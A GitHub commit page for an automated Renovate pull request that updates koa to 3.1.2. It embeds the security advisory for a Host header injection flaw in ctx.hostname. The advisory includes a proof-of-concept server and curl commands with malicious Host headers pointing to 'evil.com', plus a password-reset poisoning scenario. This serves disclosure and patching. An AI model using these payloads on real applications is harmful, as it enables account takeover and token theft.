Skip to content

Commit 59d9489

Browse files
chore(deps): update dependency koa to v3.1.2 [security] (#430)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Adoption](https://docs.renovatebot.com/merge-confidence/) | [Passing](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---|---|---| | [koa](https://koajs.com) ([source](https://redirect.github.com/koajs/koa)) | [`3.1.1` → `3.1.2`](https://renovatebot.com/diffs/npm/koa/3.1.1/3.1.2) | ![age](https://developer.mend.io/api/mc/badges/age/npm/koa/3.1.2?slim=true) | ![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/koa/3.1.2?slim=true) | ![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/koa/3.1.1/3.1.2?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/koa/3.1.1/3.1.2?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-27959](https://redirect.github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm) ## Summary Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname getter in `lib/request.js`: ```javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; } ``` The `host` getter retrieves the raw header value with HTTP/2 and proxy support: ```javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); } ``` ### The Problem The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2. **RFC 3986 Section 3.2.2** defines the host component as: ``` host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" ``` The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component. ### Attack Vector When an attacker sends: ``` Host: evil.com:fake@legitimate.com:3000 ``` Koa parses this as: | API | Returns | Notes | |-----|---------|-------| | `ctx.get('Host')` | `"evil.com:fake@legitimate.com:3000"` | Raw header | | `ctx.hostname` | `"evil.com"` | **Attacker-controlled** | | `ctx.host` | `"evil.com:fake@legitimate.com:3000"` | Raw header value | | `ctx.origin` | `"http://evil.com:fake@legitimate.com:3000"` | Protocol + malformed host | The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser. ### Additional Concern: `ctx.origin` Koa's `ctx.origin` property concatenates protocol and host without validation: ```javascript // lib/request.js get origin() { return `${this.protocol}://${this.host}`; } ``` Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo. ### HTTP/2 Consideration Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header: ```javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); ``` The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically. ## PoC ### Setup ```javascript // server.js const Koa = require('koa'); const app = new Koa(); // Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } }); app.listen(3000, () => console.log('Server on http://localhost:3000')); ``` ### Exploit ```bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ``` ### Result ```json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } } ``` The password reset URL points to `evil.com` instead of the legitimate server. In a real attack: 1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET` 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password ### Additional Test Cases ```bash # Basic injection curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # With port preservation attempt curl -H "Host: evil.com:443@&#8203;legitimate.com:3000" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" ``` ### Deployment Consideration For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when: 1. **No reverse proxy** - Application directly exposed to internet 2. **Misconfigured proxy** - Proxy doesn't override/validate Host header 3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected 4. **Default virtual host** - Server is the catch-all for unrecognized Host headers ## Impact ### Vulnerability Type - CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax ### Attack Scenarios **1. Password Reset Poisoning (High Severity)** - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover **2. Email Verification Bypass** - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts **3. OAuth/SSO Callback Manipulation** - Applications using `ctx.hostname` for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft **4. Web Cache Poisoning** - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses **5. Server-Side Request Forgery (SSRF)** - Internal routing decisions based on `ctx.hostname` - Attacker manipulates which backend receives requests ### Who Is Impacted - **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation - **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations --- ### Release Notes <details> <summary>koajs/koa (koa)</summary> ### [`v3.1.2`](https://redirect.github.com/koajs/koa/releases/tag/v3.1.2) [Compare Source](https://redirect.github.com/koajs/koa/compare/v3.1.1...v3.1.2) #### What's Changed - fix: typo in troubleshooting.md by [@&#8203;WuMingDao](https://redirect.github.com/WuMingDao) in [#&#8203;1916](https://redirect.github.com/koajs/koa/pull/1916) - build(deps-dev): bump qs from 6.14.0 to 6.14.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&#8203;1921](https://redirect.github.com/koajs/koa/pull/1921) - build(deps): bump http-errors from 2.0.0 to 2.0.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&#8203;1919](https://redirect.github.com/koajs/koa/pull/1919) - build(deps): bump mime-types from 3.0.1 to 3.0.2 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&#8203;1918](https://redirect.github.com/koajs/koa/pull/1918) - docs: use correct term "Server-Sent Events" in guide by [@&#8203;jtr860830](https://redirect.github.com/jtr860830) in [#&#8203;1920](https://redirect.github.com/koajs/koa/pull/1920) - build(deps): bump content-disposition from 0.5.4 to 1.0.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&#8203;1917](https://redirect.github.com/koajs/koa/pull/1917) - build(deps-dev): bump js-yaml from 4.1.0 to 4.1.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&#8203;1922](https://redirect.github.com/koajs/koa/pull/1922) - fix(security): Host Header Injection via `ctx.hostname` by [@&#8203;killagu](https://redirect.github.com/killagu) <GHSA-7gcc-r8m5-44qm> #### New Contributors - [@&#8203;WuMingDao](https://redirect.github.com/WuMingDao) made their first contribution in [#&#8203;1916](https://redirect.github.com/koajs/koa/pull/1916) - [@&#8203;jtr860830](https://redirect.github.com/jtr860830) made their first contribution in [#&#8203;1920](https://redirect.github.com/koajs/koa/pull/1920) **Full Changelog**: <koajs/koa@v3.1.1...v3.1.2> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/mnahkies/openapi-code-generator). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
1 parent 2038ffe commit 59d9489

File tree

2 files changed

+9
-15
lines changed

2 files changed

+9
-15
lines changed

pnpm-lock.yaml

Lines changed: 7 additions & 15 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

pnpm-workspace.yaml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,8 @@ minimumReleaseAgeExclude:
2929
- qs@6.14.2
3030
# Renovate security update: ajv@8.18.0
3131
- ajv@8.18.0
32+
# Renovate security update: koa@3.1.2
33+
- koa@3.1.2
3234

3335
nodeOptions: ${NODE_OPTIONS:- } --experimental-vm-modules
3436

0 commit comments

Comments
 (0)